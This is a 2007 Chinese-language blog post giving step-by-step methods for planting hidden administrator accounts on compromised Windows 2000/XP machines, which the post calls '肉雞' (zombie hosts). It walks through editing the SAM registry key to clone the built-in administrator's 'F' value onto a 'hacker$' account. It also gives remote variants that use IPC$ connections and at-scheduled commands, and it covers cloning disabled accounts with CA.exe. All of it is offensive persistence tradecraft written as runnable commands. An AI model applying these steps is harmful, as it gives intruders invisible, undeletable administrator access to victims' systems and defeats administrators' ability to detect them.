Windows系統中多種隱藏超級使用者方法

okone96發表於2007-01-22

一、如何在圖形介面建立隱藏的超級使用者

圖形介面下適用本地或開3389終端服務的肉雞上。上面我提到的那位作者說的方法很好,但是較為複雜,還要用到psu.exe(讓程式以系統使用者身份執行的程式),如果在肉雞上的話還要上傳psu.exe。我說的這個方法將不用到psu.exe這個程式。因為Windows2000有兩個登錄檔編輯器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe實為一個程式,修改鍵值的許可權時在右鍵中點“許可權”來修改。對regedit.exe我想大家都很熟悉,但卻不能對登錄檔的項鍵設定許可權,而regedt32.exe最大的優點就是能夠對登錄檔的項鍵設定許可權。NT/2000/xp的帳戶資訊都在登錄檔的HKEY_LOCAL_MACHINESAMSAM鍵下,但是除了系統使用者SYSTEM外,其它使用者都無權檢視到裡面的資訊,因此我首先用regedt32.exe對SAM鍵為我設定為“完全控制”許可權。這樣就可以對SAM鍵內的資訊進行讀寫了了。具體步聚如下:

1、假設我們是以超級使用者administrator登入到開有終端服務的肉雞上的,首先在命令列下或帳戶管理器中建立一個帳戶:hacker$,這裡我在命令列下建立這個帳戶

net user hacker$ 1234 /add

2、在開始/執行中輸入:regedt32.exe並回車來執行regedt32.exe。

3、點“許可權”以後會彈出視窗

點新增將我登入時的帳戶新增到安全欄內,這裡我是以administrator的身份登入的,所以我就將administrator加入,並設定許可權為“完全控制”。這裡需要說明一下:最好是新增你登入的帳戶或帳戶所在的組,切莫修改原有的帳戶或組,否則將會帶來一系列不必要的問題。等隱藏超級使用者建好以,再來這裡將你新增的帳戶刪除即可。

4、再點“開始”→“執行”並輸入“regedit.exe”回車,啟動登錄檔編輯器regedit.exe。開啟鍵:

HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernameshacker$"

5、將項hacker$、00000409、000001F4匯出為hacker.reg、409.reg、1f4.reg,用記事本分別打這幾個匯出的檔案進行編輯,將超級使用者對應的項000001F4下的鍵“F”的值複製,並覆蓋hacker$對應的項00000409下的鍵“F”的值,然後再將00000409.reg與hacker.reg合併。

6、在命令列下執行net user hacker$ /del將使用者hacker$刪除:

net user hacker$ /del

7、在regedit.exe的視窗內按F5重新整理,然後打檔案-匯入登錄檔檔案將修改好的hacker.reg匯入登錄檔即可

8、到此,隱藏的超級使用者hacker$已經建好了,然後關閉regedit.exe。在regedt32.exe視窗內把HKEY_LOCAL_MACHINESAMSAM鍵許可權改回原來的樣子(只要刪除新增的帳戶administrator即可)。

9、注意:隱藏的超級使用者建好後,在帳戶管理器看不到hacker$這個使用者,在命令列用“net user”命令也看不到,但是超級使用者建立以後,就不能再改密碼了,如果用net user命令來改hacker$的密碼的話,那麼在帳戶管理器中將又會看這個隱藏的超級使用者了,而且不能刪除。

二、如何在命令列下遠端建立隱藏的超級使用者

在這裡將用at的命令,因為用at產生的計劃任務是以系統身份執行的,所以也用不到psu.exe程式。為了能夠使用at命令,肉雞必須開有schedule的服務,如果沒有開啟,可用流光裡帶的工具netsvc.exe或sc.exe來遠端啟動,當然其方法也可以,只要能啟動schedule服務就行。

對於命令列方式,你可以採用各種連線方式,如用SQLexec連線MSSQL的1433埠,也可以用telnet服務,只要以你能得到一個cmdshell,並且有執行at命令的許可權就可以。

1、首先找到一臺肉雞,至於如何來找那不是我這裡所說的話題。這裡先假設找到一臺超級使用者為administrator,密碼為12345678的肉雞,現在我們開始在命令列下遠端為它建立隱藏的超級使用者。(例子中的主機是我的區域網內的一臺主機,我將它的ip地址改為13.50.97.238,,請勿在網際網路上對號入座,以免騷擾正常的ip地址。)

2、先與肉雞建立連線,命令為:net use 13.50.97.238ipc$ "12345678" /user:"administrator

3、用at命令在肉雞上建立一個使用者(如果at服務沒有啟動,可用小榕的netsvc.exe或sc.exe來遠端啟動):

at 13.50.97.238 12:51 c:winntsystem32net.exe user hacker$ 1234 /add


建立這個加有$符的使用者名稱,是因為加有$符後,命令列下用net user將不顯示這個使用者,但在帳戶管理器卻能看到這個使用者。

4、同樣用at命令匯出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下鍵值:

at 13.50.97.238 12:55 c:winntregedit.exe /e hacker.reg
       HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers


/e 是regedit.exe的引數,在_LOCAL_MACHINESAMSAMDomainsaccountusers這個鍵的一定要以結尾。必要的情況下可以用引號將“c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers”引起來。

5、將肉雞上的hacker.reg下載到本機上用記事本開啟進行編輯命令為:

copy 13.50.97.238admin$system32hacker.reg c:hacker.reg


修改的方法圖形界中已經介紹過了,這裡就不作介紹了。

6、再將編輯好的hacker.reg拷回肉雞上

copy c:hacker.reg 13.50.97.238admin$system32hacker1.reg

7、檢視肉雞時間:net time 13.50.97.238 然後用at命令將使用者hacker$刪除:

at 13.50.97.238 13:40 net user hacker$ /del

8、驗證hacker$是否刪除:用

net use 13.50.97.238 /del 斷開與肉雞的連線。


net use 13.50.97.238ipc$ "1234" /user:"hacker$" 用帳戶hacker$與肉雞連線,不能連線說明已刪除。

9、再與肉雞建立連線:net use 13.50.97.238ipc$ "12345678" /user:"administrator"

再取得肉雞時間,用at命令將拷回肉雞的hacker1.reg匯入肉雞登錄檔:

at 13.50.97.238 13:41 c:winntregedit.exe /s hacker1.reg


regedit.exe的引數/s是指安靜模式。

10、再驗證hacker$是否已建立,方法同上面驗證hacker$是否被刪除一樣。

11、再驗證使用者hacker$是否有讀、寫、刪的許可權,如果不放心,你還可驗證是否能建立其它帳戶。

12、透過11可以斷定使用者hacker$具有超級使用者許可權,因為最初我用at命令建立它的時候是一個普通使用者,而現在卻具有遠端讀、寫、刪的許可權。

三、如果肉雞沒有開3389終端服務,而我又不想用命令列,怎麼辦?

這種情況下,你也可以用介面方式來遠端為肉雞建立隱藏的超級使用者。因為regedit.exe、regedt32.exe都有連線網路登錄檔的功能,你可以用regedt32.exe來為遠端主機的登錄檔項設定許可權,用regedit.exe來編輯遠端登錄檔。帳戶管理器也有一項連另一臺計算機的功能,你可以用帳戶管理器為遠端主機建立和刪除帳戶。具體步聚與上面介紹的相似,我就不多說了,只它的速度實在是令人難以忍受。

但是這裡有兩個前提:1、先用net use 肉雞ipipc$ "密碼" /user:"超級使用者名稱"來與遠端主機建立連線以後,才能用regedit.exe regedt32.exe及帳戶管理器與遠端主機連線。

2、遠端主機必須開啟遠端登錄檔服務(沒有開啟的話,你也可以遠端開啟,因為你有超級使用者的密碼了)。

四、利用被禁用的帳戶建立隱藏的超級使用者

我們可以用肉雞上被禁止的使用者來建立隱藏的超組使用者.方法如下:

1.想辦法檢視有哪些使用者被細心的管理員禁止,一般情況下,有些管理員出於安全考慮,通常會將guest禁用,當然了會禁用其它使用者。在圖形介面下,非常容易,只要在帳戶管理器中就可以看到被禁用的帳戶上有一個紅叉;而在命令列下,我還沒有想到好的辦法,只能在命令列下用命令:“net user 使用者名稱”一個一個來檢視使用者是否被禁用。

2.在這裡,我們假設使用者hacker被管理員禁用。首先,我先用小榕的超組使用者克隆程式CA.exe,將被禁用的使用者hacker 克隆成超級使用者(克隆之後,被禁用的使用者hacker就會自動被啟用了): CA.EXE 肉雞ip Administrator 超級使用者密碼 hacher hacher密碼。

3.如果你現在一個cmdshell,如利用telnet服務或SQLEXEC連線肉雞的msSQL的預設埠1433得到的shell都可以,這時你只要輸入命令:

net user hacker /active:no

這樣使用者hacker就被禁用了(至少表面上是這樣的),當然你也可以將使用者hacher換成其它的被禁用的使用者。

4.這時如果你在圖形介面下看帳戶管理器中的使用者時,會發現使用者hacker被禁用了,但事實上是這樣的嗎?你用這個被禁用的使用者連線一下肉雞看看是否能連上?用命令:net user 肉雞ipipc$ "hacker密碼" /user:"hacker" 連一連看看。我可以告訴大家,經過我多次試驗,次次都能成功,而且還是超級使用者許可權。

5.如果沒有cmdshell怎麼辦?你可以我上面介紹的at命令來禁用使用者hacker;命令格式:at 肉雞ip 時間 net user hacker /active:no

6.原理:具體的高深的原理我也說不上來,我只能從最簡單的說。你先在圖形介面下在帳戶管理器中禁用一下超級使用者administrator看看,肯定會彈出一對話方塊,並禁止你繼續禁用超級使用者administrator,同樣,因為在克隆時,hacker在登錄檔的“F”鍵被超級使用者administrator在登錄檔的“F”鍵所替代,因而hacker就具有了超級使用者的許可權了,但是由於hacker在登錄檔內“C”健還是原來的“C”鍵,所以hacker還是會被禁用,但是它的超級使用者許可權卻不會被禁用,因此被禁用的使用者hacker還是可以連線肉雞,而且還具有超級使用者的許可權。具體我也說不明白,大家權且這麼理解吧。

五、注意的幾點事項

1、隱藏的超級使用者建立以後,在帳戶管理器中和命令列下均看不到這個使用者,但這個使用者卻存在。

2、隱藏的超級使用者建立以後,就不能再修改密碼了,因為一旦修改密碼,這個隱藏的超級使用者就會暴露在帳戶管理器中,而且不能刪除。

3、如在本機上試驗時,最好用系統自帶的備份工具先備份好本機的“系統狀態”主要是登錄檔的備份,因為本人做試驗時,曾出現過帳戶管理器中看不到任何使用者,組中也看不到任何組的現象,但它們卻存在。幸好我有備份,呵呵。SAM鍵是畢竟系統最敏感的部位。

4、本方法在2000/XP上測試透過,未在NT上測試。

[@more@]

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/750220/viewspace-892285/,如需轉載,請註明出處,否則將追究法律責任。

相關文章